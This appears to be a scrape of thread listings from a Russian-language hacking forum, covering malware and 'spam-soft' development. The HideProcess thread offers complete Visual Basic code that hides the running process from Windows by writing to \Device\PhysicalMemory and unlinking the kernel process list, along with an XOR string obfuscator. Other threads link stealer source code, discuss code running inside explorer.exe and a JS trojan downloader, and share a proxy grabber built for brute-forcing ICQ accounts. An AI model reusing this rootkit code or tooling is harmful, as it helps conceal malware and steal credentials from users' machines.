Использует для получения информации функцию HttpQueryInfo с параметром HTTP_QUERY_CONTENT_LENGTH. Я встречался с ситуацией, когда эта функция возвращала ноль, хотя после этого данные читались в полном объёме. Можно было бы использовать функцию InternetQueryDataAvailable, но с ней тоже не всё в порядке. Например, при чтении страницы ASP эта функция выдаёт не размер результирующей страницы, а размер самого скритпа, что, несомненно, является весьма интересной информацией, но совершенно бесполезной для нас. В результате, я не знаю и не могу предложить Вам абсолютно надёжного способа получить точную информацию о размере запрашиваемых данных. Скорее всего, это будет работать, но если Вы предполагаете использовать сервера, которые не можете заранее протестировать, то лучше не полагайтесь на эти функции.

Click to expand...

Здесь как мы видим из кода, размер файла получаем с помощью InternetSetFilePointer и FILE_END

Code:Copy to clipboard

DWORD FileSize = InternetSetFilePointer(hUrl, 0, NULL, FILE_END, 0);

Вот хочу спросить у тех, кто юзал данный код - вариант с InternetSetFilePointer и FILE_END сто процентов рабочий или тоже траблы есть?
Я в принципе решение нашел, но вот ради интереса хочется узнать.

Второй вопрос :
InternetOpenUrl судя по моим тестам, работает совсем не так как мне нужно
Если картинка была ранее скачена через Internet Explorer и если комп в данный момент не имеет подключения к инету и Internet Explorer работает в автономном режиме, картинка будет "скачена" из кэша, а если в Internet Explorer работает НЕ в автономном режиме, то выскакивает мессага предлагая подключиться к инету, которая сразу палит все дело - но да ладно, эт можно тоже пофиксить

Проблема начинается при скачивании картинки, InternetOpenUrl "проверяет" кэш и если есть картинка в кэше, то и читает соответственно ее из кэша и даже не пытается скачать ее из инета притом, что комп имеет подключение к инету и находится в онлайн
Но даже у меня как-то получилось (я даже не понял как), чтобы InternetOpenUrl попыталась обратиться к урлу и там даже было получено несколько пакетов, в которых походу проверялась дата последнего обновления картинки и все, мля.. естественно она одинаковая и произошла загрузка опять из кэша
Вот хочу спросить у тех, кто юзал данный код - как заставить InternetOpenUrl при любых обстоятельствах скачать картинку, даже если дата "обновления" идентична?
ЗЫ: Если картинку качать первый раз, то все замечательно качает...
ЗЫЫ: Код находится в процессе explorer.exe

Учебник по Java
ID: 67668b27b4103b69df375e2d
Thread ID: 4181
Created: 2005-07-01T19:41:42+0000
Last Post: 2012-02-26T00:39:17+0000
Author: ChupaChups
Replies: 4 Views: 4K

Посоветуйте, плиз, где можно найти учебник, в котором освещены вопросы безопасного программирования на Java, уязвмости этого языка, системы идентификации.аутентификации, криптография и т.п.

XML/XSL/XSLT/XSS/XPath/HTML/DHTML/CSS
ID: 67668b27b4103b69df375e30
Thread ID: 10647
Created: 2006-08-18T16:19:33+0000
Last Post: 2011-12-16T18:23:42+0000
Author: hawk2000
Replies: 2 Views: 4K

При изучении, а также использовании XML часто возникают трудности. В етой теме мы поможем вам их решить.

[mod][Great:] прикрепил. постим сюда. другие темы будут безжалостно сноситься[/mod]

В поисках языка для работы с веб-протоколами
ID: 67668b27b4103b69df375e35
Thread ID: 22063
Created: 2011-08-07T18:07:34+0000
Last Post: 2011-09-14T09:44:55+0000
Author: Quake3
Replies: 16 Views: 4K

Просьба не считать тему холиваром или провокацией, просто очень интересно узнать различное мнение со стороны.

В последнее время я начал задумываться над выбором какого-нибудь языка для разносторонней работы с сетью. Под работой с сетью я имею ввиду не ддос боты (с ними то как раз все ясно, там сокеты/апи + асм/си), а различные парсеры, чекеры, реггеры, спамеры и так далее. Актуально это не только для комерца - иногда для себя нужно что-то просканировать, спарсить, и т.д., а готовых инструментов или нет, или же они кривые/неактуальные/протрояненные/etc. В общем, не суть.
Хотелось бы найти какой-то язык для сети, чтобы он был:
а) Удобным. Кроме "чистых" сокетов хотелось бы какие-то либы, компоненты, и так далее, для более быстрой и простой разработки. Низкий уровень не всегда и не везде нужен, это не ддос же.

B) Относительно несложным в изучении. Чтобы ради одной сети не надо было вникать в какие-то дебри языка.

с)Хотелось бы гибкости и нормальной работы с большим количеством протоколов.

d) не особо "тяжелым" для системы (не так, что 1 скрипт загружает цпу на 99%).

С того, что я пробовал, могу отметить.
0. Масм и сокеты. Я считаю, что это не оправдано для "спамсофта". Слишком сложно и муторно писать все это на ассемблере, да и смысла уже нет.

1. РНР - фактически, php был (и есть) моим первым серьезным языком. Из плюсов, в нем могу выделить относительную простоту разработки, много документации и примеров. Для работы с сетью, как я понимаю, есть те же сокеты и стандартные функции (file_get_contents), курл, и какие-то расширения PEAR (хз кто ими пользуется).
Про минусы - лично мне сложно судить, но многие говорят, что пхп а)не поддерживает многопоточность (разве что мультикурл); б)медленно работает, грузит систему (с этим можно поспорить..); в) вообще существует для разработки сайтов , а не такого софта.

2. Perl - как я понимаю, в основном такие вещи пишут как раз таки на нем.Из негатива про него я слышал, что перл тяжел в изучении/сильно грузит систему. Ну и якобы он уже устарел и умирает.

3. Python - замечательный язык, относительно простой, куча либ, документации, примеров, кодеров. Если бы не жирный минус, который портит все плюсы - эти отступы в коде. Зачем их придумали - неизвестно, но считать пробелы в коде, это, имхо, извращение еще то. Тоже на нем не кодил практически, выбираю все между перлом и питоном.

4. Delphi - на этом языке написано наверное 95% прог для работы с сетью (да и ддос ботов). Огромное к-тво примеров, книг, мануалов, сорцев, библиотек (Инди, синапс, курл, и т.д.). Какие минусы - не знаю, единственный (лично для меня), это необходимость изучать полностью новый синтаксис (паскаль я не знаю вообще).

5. C++ builder очень похож на дельфи. Из плюсов - С подобный синтаксис, знание которого приходится и в яваскрипте, и в пхп. Из минусов - С++ со своими указателями, мильеном типов строк и т.д. наверное является самым сложным языком среди существующих.

6. Си шарп. Тут даже и не знаю. Язык сильно развивается, под него есть также много либ и т.д. Но требует фреймворк. Насколько это минус, не могу судить. По моему, щас эти фреймворки есть даже в сборках ХР.

Интересно услышать ваше мнение по выбору языка сугубо для net-кодинга. Или стоит остановится на php и не париться?

Чекер на блэк (PHP)
ID: 67668b27b4103b69df375e37
Thread ID: 21095
Created: 2011-02-07T21:08:42+0000
Last Post: 2011-08-22T10:43:34+0000
Author: GOONER
Replies: 11 Views: 4K

Spoiler: 7

http://www.sendspace.com/file/az7uz8
pass:xss.is/

Парсинг... Google
ID: 67668b27b4103b69df375e3f
Thread ID: 21322
Created: 2011-03-18T16:30:14+0000
Last Post: 2011-03-24T16:12:17+0000
Author: DiegO
Replies: 18 Views: 4K

Привет всем мемберам дамаги. Прошё помоч новичку написать парсер для google на php и (или) как пользоваться функцией preg_match_all() а то я по ней не чё не понял. Мне надо что бы по запросу показывались только линки на страницу со всех страницы.
К примеру что бы по запросу Virus (http://www.google.ru/search?client=opera&rls=ru&q=Virus&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest) выдало:

http://ru.wikipedia.org/wiki/Вирусы
http://ru.wikipedia.org/wiki/Компьютерный_вирус
http://www.google.ru/search?q=Virus&hl=ru&...oI&ved=0CEUQqAI
http://www.securitylab.ru/virus/
И т.д.

Я пишу одно чудо и если что получится то выложу сюда!

Я на вас очень надеюсь... помогите пожалуйсто!

FTP-чекер
ID: 67668b27b4103b69df375e5c
Thread ID: 18013
Created: 2009-07-25T13:23:49+0000
Last Post: 2009-12-25T09:26:52+0000
Author: lisa99
Replies: 4 Views: 4K

Есть ли в паблике фтп- чекеры на пхп или перле?
Что-то толком не попалось.
Требуется валидация списка логин-пароль, и закачка через прокси

Подскажите, плз

iStealer 5 SOURCE
ID: 67668b27b4103b69df375e64
Thread ID: 18183
Created: 2009-08-21T19:22:57+0000
Last Post: 2009-08-30T10:57:25+0000
Author: G100M
Replies: 8 Views: 4K

Сорцы того фирменного стилера от хэкхаунда. Очень даже актуальны.
:zns5: Скачать|Download

HideProcess
ID: 67668b27b4103b69df375e6d
Thread ID: 15780
Created: 2008-09-20T15:16:02+0000
Last Post: 2009-05-11T19:33:40+0000
Author: Noctambulaar
Replies: 5 Views: 4K

Module Code

Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0

Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID _
As Long, ByVal dwType As Long) As Long
Form Code

Public Sub HideApp(Hide As Boolean)
Dim ProcessID As Long
ProcessID = GetCurrentProcessId()

If Hide Then
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE)
Else
retval = RegisterServiceProcess(ProcessID, RSP_UNREGISTER_SERVICE)
End If
End Sub[/code:yn1l1tdl]

Hide Process XP

[code:yn1l1tdl]' Process hiding in VB
'
' Just drop module into project as call HideCurrentProcess
' on application startup.
'

Option Explicit
Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Private Const STATUS_ACCESS_DENIED = &HC0000022
Private Const STATUS_INVALID_HANDLE = &HC0000008
Private Const ERROR_SUCCESS = 0&
Private Const SECTION_MAP_WRITE = &H2
Private Const SECTION_MAP_READ = &H4
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = &H4

Private Type IO_STATUS_BLOCK
Status As Long
Information As Long
End Type

Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
buffer As Long
End Type

Private Const OBJ_INHERIT = &H2
Private Const OBJ_PERMANENT = &H10
Private Const OBJ_EXCLUSIVE = &H20
Private Const OBJ_CASE_INSENSITIVE = &H40
Private Const OBJ_OPENIF = &H80
Private Const OBJ_OPENLINK = &H100
Private Const OBJ_KERNEL_HANDLE = &H200
Private Const OBJ_VALID_ATTRIBUTES = &H3F2

Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDeor As Long
SecurityQualityOfService As Long
End Type

Private Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End Type

Private Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End Enum

Private Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End Enum

Private Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End Enum

Private Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End Enum

Private Type TRUSTEE
pMultipleTrustee As Long
MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION
TrusteeForm As TRUSTEE_FORM
TrusteeType As TRUSTEE_TYPE
ptstrName As String
End Type

Private Type EXPLICIT_ACCESS
grfAccessPermissions As Long
grfAccessMode As ACCESS_MODE
grfInheritance As Long
TRUSTEE As TRUSTEE
End Type

Private Type AceArray
List() As EXPLICIT_ACCESS
End Type

Private Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End Enum

Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long

Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)

Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMascumngObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Private verinfo As OSVERSIONINFO

Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte

Public Sub HideCurrentProcess()

Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lOffsetFlink = &HA0
lOffsetBlink = &HA4
lOffsetPID = &H9C
Case 1
lOffsetFlink = &H88
lOffsetBlink = &H8C
lOffsetPID = &H84
End Select
End If
End If
End If

If OpenPhysicalMemory <> 0 Then
thread = GetData(&HFFDFF124)
process = GetData(thread + &H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
CloseHandle g_hMPM
End If
End Sub

Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD

ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

CleanUp:
LocalFree pSD
LocalFree pNewDacl
End Sub

Private Function OpenPhysicalMemory() As Long
Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
If Status = STATUS_ACCESS_DENIED Then
Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
End If

Dim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lDirectoty = &H30000
Case 1
lDirectoty = &H39000
End Select
End If
End If
End If

If Status = 0 Then
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
End If
End Function

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As Long

VAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))

PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4

If (PGDE And 1) <> 0 Then
lTemp = PGDE And &H80
If lTemp <> 0 Then
PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
Else
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
lTemp = (VAddr And &H3FF000) / (2 ^ 12)
PTE = PGDE + lTemp * 4
CopyMemory PTE, ByVal PTE, 4

If (PTE And 1) <> 0 Then
PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
UnmapViewOfFile PGDE
End If
End If
End If

LinearToPhys = PAddr
End Function

Private Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, Ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
Ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory Ret, ByVal Ret, 4

UnmapViewOfFile tmp
GetData = Ret
End If
End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ByVal x, data, 4

UnmapViewOfFile tmp
SetData = True
End If
End Function

Private Function ByteArrToLong(inByte() As Byte) As Double
Dim i As Integer
For i = 0 To 3
ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)
Next i
End Function

Function encdec(inputstrinG As String) As String
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function

Click to expand...

Вопрос по JS Trojan Downloader
ID: 67668b27b4103b69df375e73
Thread ID: 17105
Created: 2009-03-09T03:40:27+0000
Last Post: 2009-03-16T11:47:16+0000
Author: Ma-stiff
Replies: 9 Views: 4K

В аттаче отредактированный скрипт сабжа с vsedlysna.ru.
Вопрос за счёт чего исполняется скрипт если eval заменён на document.write.
И интересует прога для безопасной проверки результата выполнения скрипта.

Имейте ввиду, открытие файла в браузере может привести к заражению компа.

Ищу пример автореггера (пхп)
ID: 67668b27b4103b69df375e75
Thread ID: 17103
Created: 2009-03-08T20:39:12+0000
Last Post: 2009-03-09T22:31:40+0000
Author: lisa99
Replies: 10 Views: 4K

Подбросьте ссылочку , плз, на какой-нибудь автореггер на пхп- любопытно посмотреть на пример.
Т.е. порекомендуйте - что есть в паблике поинтересней?
В принципе при наличии соотв. либ можно и десктопную слепить на тех же делфях, например. но интересен серверный вариант..

Требуется дезендер
ID: 67668b27b4103b69df375e77
Thread ID: 15786
Created: 2008-09-21T12:37:07+0000
Last Post: 2009-02-13T07:22:50+0000
Author: Mr.Di
Replies: 6 Views: 4K

Один боевой есть, но наткнулся тут на линк с нулледа h++p://www.nulled.in/showpost.php?p=525477&postcount=409

Кто сможет это выложить или что-нибудь поактуальней, тому + в репу. Мой слишком криво обрабатывает обфусцированный код, приходится ручками дорабатывать.

samair прокси грабер
ID: 67668b27b4103b69df375e8b
Thread ID: 14543
Created: 2008-02-05T02:35:14+0000
Last Post: 2008-09-14T05:53:12+0000
Author: el-
Replies: 9 Views: 4K

никогда в жизне не брутил аськи, вабще никогда .. и вот в столь позний час ударила в дурную голову такая идея, почему бы не попробовать, слил ipd брут все дела, создал диапазоны, осталось только найти прокси ... в такое время естественно ничего найти не получится, вот и пришло обратится к фри листам ... выбор пал на http://www.samair.ru/proxy/ ... естественно они там защищают свой прокси лист свякими вставками, что бы не просто так было его забрать... ну ###### пришлось писать грабер на аякс, ибо там просто можно поработать с регулярками, есть асинхроная скачка и что то типо много поточности ...
зы. не судите строгу javascript у меня на самом низком уровне = )

Code:Copy to clipboard

<html>
<style>.t{font-family:verdana;font-size:9px;}</style>
<body>
<div id="result" align="center" class="t"></div>
<script>

var maxThreads=5;
var numPages=50;

var numThreads=0;

function init() {
	var o=null;
	if (window.XMLHttpRequest) {
  try {
  	o = new XMLHttpRequest();
  } catch (ex) {
  	return false;
  }
	} else if (window.ActiveXObject) {
  try {
  	o = new ActiveXObject("Msxml4.XMLHttp");
  } catch (ex) {
  	try {
    o = new ActiveXObject("Msxml2.XMLHttp");
  	} catch (ex) {
    try {
    	o = new ActiveXObject("Microsoft.XMLHttp");
    } catch (ex) {
    	return false;
    }
  	}
  }
	}
	return o;
}

function get(url, processResponse) {
	var o=init();
	try {
  o.open("GET", url, true);
  o.onreadystatechange = function() { 
  	if (o.readyState == 4) {
    if (o.status == 200) processResponse(o.responseText);
    else processResponse(null);
  	}
  };
  o.send();
  return true;
	} catch (ex) {
  return false;
	}
}

function go(n){
	numThreads++;
	if( n<10 )n="0"+n;
	get("http://www.samair.ru/proxy/proxy-"+n+".htm", function(response) {
  if (response != null) {
  	sux=response.toUpperCase();
  	var reg='<TR><TD><SPAN CLASS="PROXY\\d+">(\\d+)<\\/SPAN>\\.<SPAN CLASS="PROXY\\d+">(\\d+)<\\/SPAN>([\\.:\\d]+)\\s(\\d+)<\\/TD><TD>'
  	var re = new RegExp(reg,'g');
  	ret = sux.match(re);
  	for(var i=0;ret[i];i++) {
    var re = new RegExp(reg);
    var v = ret[i].match(re);
    document.getElementById('result').innerHTML+=v[1]+'.'+v[2]+v[3]+v[4]+'
';
  	}
  }
  numThreads--;
	});
}

document.getElementById('result').innerHTML='el-samir-grab
coded by ...

';

function crtThreads( s ) {
	if( numThreads>=maxThreads ) {
  setTimeout( "crtThreads("+s+")", 1000);
  return 0;
	}
	for(var i=s;i<( s+maxThreads-numThreads ); i++) {
  go( i );
	}
	if(i<numPages)setTimeout("crtThreads("+i+")", 1000);
	return 0;
}

crtThreads(1);

</script>
</body>
</html>
Сражение между программами
ID: 67668b27b4103b69df375eb3
Thread ID: 12547
Created: 2006-10-14T15:00:38+0000
Last Post: 2006-11-10T09:23:12+0000
Author: salamandra
Replies: 12 Views: 4K

Статья взята с http://www.codenet.ru

Слышали ли вы про Core Wars? Вряд ли. Максимум - один из десяти читателей. Тот, что постарше, тот, что лет 15 назад был программистом или сочувствующим...

Развлечение это (а Core Wars - игра) исключительно программистское. Ибо суть его в сражении, но не между людьми. Сражении между программами. И цель - написать такого бойца, который победит остальных.

Как происходит бой? Всё просто - программы-бойцы загружаются в общую область памяти и одновременно запускаются. Та, что проработает дольше всех - победитель. Программа, которая исполнила недопустимую инструкцию, "умирает". Понятно, что сам автор таких инструкций в неё не добавляет - ими "бомбят" память другие программы в надежде испортить конкурентов. Кроме того, пытаясь уйти от бомбёжки, почти все программы то и дело перемещают себя в памяти. Память же закольцована - вслед за последней ячейкой идёт первая. Пардон, нулевая, конечно. Программисты мы или нет? :)

"Самобеглый" mov или, иначе, Имп - простейшая программа-боец из одной команды:
mov.i $0, $1

Команда эта просто копирует себя же в следующую ячейку, после чего исполняется уже в новой позиции, таким образом "намазывая" себя на всю память в системе.

Чем эта штука интересна? Дело в том, что набор команд в Core Wars довольно ограничен - по сути, он состоит из команд mov (копирование памяти из ячейки в ячейку), арифметики и jmp (переход) с небольшими вариациями. Классический размер программы-бойца, как правило, тоже невелик - от одной (!) команды (это

  • классический "самобеглый" mov) до десятка. Десяток - много.

Что это значит? Это значит, что бойцов можно "выращивать" генетическим методом! Сама по себе идея генетически создавать программы очевидна, но я впервые вижу, чтобы это давало практические результаты. А ведь даёт. Автор статьи утверждает, что уже через 100 поколений появились кое-какие "бойцы", а к тысячному поколению они даже достигли определённых высот в военном искусстве. Увы, не то чтобы высот совсем уж невероятных, но - лиха беда начало.

Ну а теперь более подробно....

Core Wars
Цель этого проекта состоит в том, чтобы доказать, что corewarriors могут учиться, моделируя развитие. Это будет доказано, используя программу компьютера, которая моделирует развитие, используя генетический алгоритм. Данная программа была сначала подготовлена и представлена в классе Искусственного интеллекта в Wilmington Колледже в Весеннем семестре 1998. Класс преподавался Джимом Фитзсиммонсом, Ph. D.

Эта - секция, представляет бомбежку. Бомбежка состоит из использования MOV инструкции, чтобы переместить одну инструкцию(команду) поверх другой. Например, давайте посмотрим на очень простой bomber, написанный A. K. Dewdney (Dewdney, A. K., Вселенная Кресла):

mov.i $3, $7
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0

Выполнение начинается с MOV инструкции. Эта инструкция перемещает, любое значение из 3 линии (в нашем случае это DAT инструкция) в 7 линию. Далее выполняется ADD инструкция, которая добавляет 4 ко второму операнду инструкции MOV. Соответственно второй операнд у инструкции MOV изменяется с 7 на 11. JMP инструкция посылает выполнение назад MOV, который повторяет бомбёжку снова. Давайте посмотрим, как два воина борются против друг друга и как убивает DAT бомба.

mov.i $3, $7 <-- выполнение для этого воина начинается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
(empty line)
mov.i $3, $7 <-- выполнение для этого воина начинается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
(empty line)
. . .

Использование empty line помогает лучше пояснить происходящие процессы. На следующем шаге "тела" обоих воинов выглядят следующим образом:

mov.i $3, $11 <-- выполнение для этого воина продолжается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
(empty line)
mov.i $3, $11 <-- выполнение для этого воина продолжается здесь
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
. . . (lots more empty lines)

На третьем шаге можно увидеть, что первый воин записал на место инструкции JMP первого воина свою инструкцию DAT. Естевственно, что второй воин выйдет на ошибку.

mov.i $3, $15
add.ab #4, $-1
jmp.a $-2, #0 <-- выполнение для этого воина продолжается здесь
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
(empty line)
mov.i $3, $15
add.ab #4, $-1
dat.f #0, #0 <-- выполнение для этого воина продолжается здесь
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
(empty line)
(empty line)
(empty line)
dat.f #0, #0
. . . (lots more empty lines)

Следущий пример, опясывающий борьбу программ-воинов, на жаргоне называется "расщепление". В программе можно использовать SPL инструкцию, чтобы создать два или больше процессов. Эта инструкция может также использоваться, чтобы добавить длительность (долговечность) жизни программы-бойца. Если мы добавляем SPL инструкцию к началу воина рассмотренного в предыдущем примере, то мы получим:

spl.a #0, #0
mov.i $3, $7
add.ab #4, $-1
jmp.a $-2, #0
dat.f #0, #0

то есть инструкция SPL предварительно запустить пераллельную копию процесса воина и вероятность того, что инструкция JMP будет стёрта воином противником уменьшится.

Следующий метод борьбы называется "coreclear" (перевести не удалось :). Перед запуском тело такого воина выглядит следующим образом:

mov.i $2, <-1
jmp.a $-1, #0
dat.f #0, #0

После нескольких циклов, тело программы будет выглядеть следующим образом:

dat.f #0, #0
dat.f #0, #0
dat.f #0, #0
dat.f #0, #0
dat.f #0, #-5
mov.i $2, <-1
jmp.a $-1, #0
dat.f #0, #0
. . . (empty lines)

Инструкция MOV берёт DAT, который стоит после JMP и помещает по адресу -1, то есть перед собой и при этом уменьшает на еденицу второй операнд у уже перемещённой инструкции DAT. При следующем цикле инструкция MOV переместит инструкцию DAT по адресу, указанному во втором операндре DATa -1 (а там уже к тому времени будет -1). DAT попадает на две строки вверхи и в DAT непосредственно перед MOV запишется значение -2, и так далее.

Следующая терминалогия в Core-войнах - это "указатели". Давайте посмотрим модифицированный код coreclear'a:

mov.i $2, <-1
jmp.a $-1, <-2
dat.f #0, #0

Посмотрим, что же происходит после выполнения команд MOV и JMP:

. . . (more empty lines)
dat.f #0, #0
dat.f #0, #-2
mov.i $2, <-1
jmp.a $-1, <-2
dat.f #0, #0
. . . (more empty lines)

В обычном coreclear'e DAT уменьшается на 1, но сдесь же на 2. Проследим дальше за выполнением программы:

. . . (more empty lines)
(empty line)
dat.f #0, #0
(empty line)
dat.f #0, #0
(empty line)
dat.f #0, #0
dat.f #0, #-6
mov.i $2, <-1
jmp.a $-1, <-2
dat.f #0, #0
. . . (more empty lines)

Получается, что каждая вторая линия попадает под обстрел атакующего воина, естевственно, что такой вариант coreclear'a более эффективен в поиске и уничтожении противника.

Теперь давайте разберёмся, что такое мутирующий(видоизменющийся) воин. Для этого изменим воина бомбящего каждую 4-ю строчку:

spl.a #0, #0
mov.i $3, $5
add.ab #4, $-1
jmp.a $-2, #0
dat.f >-1, #0

